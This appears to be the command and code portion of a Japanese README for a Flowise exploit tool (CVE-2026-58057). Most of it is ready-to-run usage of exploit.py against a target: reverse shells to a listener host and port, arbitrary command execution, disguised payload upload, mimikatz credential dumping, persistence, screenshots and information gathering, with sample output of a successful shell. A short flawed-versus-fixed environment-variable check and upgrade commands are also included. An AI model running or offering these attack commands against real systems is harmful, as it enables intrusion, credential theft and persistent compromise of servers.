# 脆弱な検証（大文字小文字を区別）
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # 正確な大文字の一致のみをブロック
    raise ValueError(f"Modification not allowed")

# リポジトリのクローン
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# 依存関係のインストール
pip install -r requirements.txt

# または最小限のインストール
pip install requests urllib3

FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

python3 exploit.py --help

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload persistence

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload info_gather

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload screenshot

# バージョン 3.1.3 以降にアップグレード
npm install -g flowise@latest
# または
docker pull flowiseai/flowise:latest

# 修正された検証（大文字小文字を区別しない）
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous:  # 大文字小文字を区別しないチェック
    raise ValueError(f"Modification not allowed")

[14:32:15] ℹ エクスプロイトシーケンスを開始...
[14:32:15] ℹ 認証を試行中...
[14:32:16] ✓ API キーで認証されました
[14:32:16] ℹ reverse_shell ペイロードの実行を準備中...
[14:32:16] ℹ 環境変数を注入中...
[14:32:17] ℹ ペイロードの実行をトリガー中...
[14:32:19] ✓ ペイロード 'reverse_shell' が正常に実行されました！
[14:32:19] ℹ リバースシェルリスナーが 192.168.1.50:4444 で準備完了

[14:32:15] 🔍 リトライ戦略でセッションを作成しました
[14:32:15] 🔍 既存のワークスペースを使用: ws_123456
[14:32:16] 🔍 ローダー書き込み: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio 設定を更新しました

# 詳細ロギングを有効にする
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose

# 接続をテストする
curl -k https://localhost:3000/api/v1/version

# Python バージョンを確認する
python3 --version

flowise-CVE-2026-58057-exploit/
├── exploit.py          # メインのエクスプロイトスクリプト
├── requirements.txt    # コア依存関係
├── README.md          # このドキュメント
├── LICENSE            # MIT ライセンス
└── CHANGELOG.md       # バージョン履歴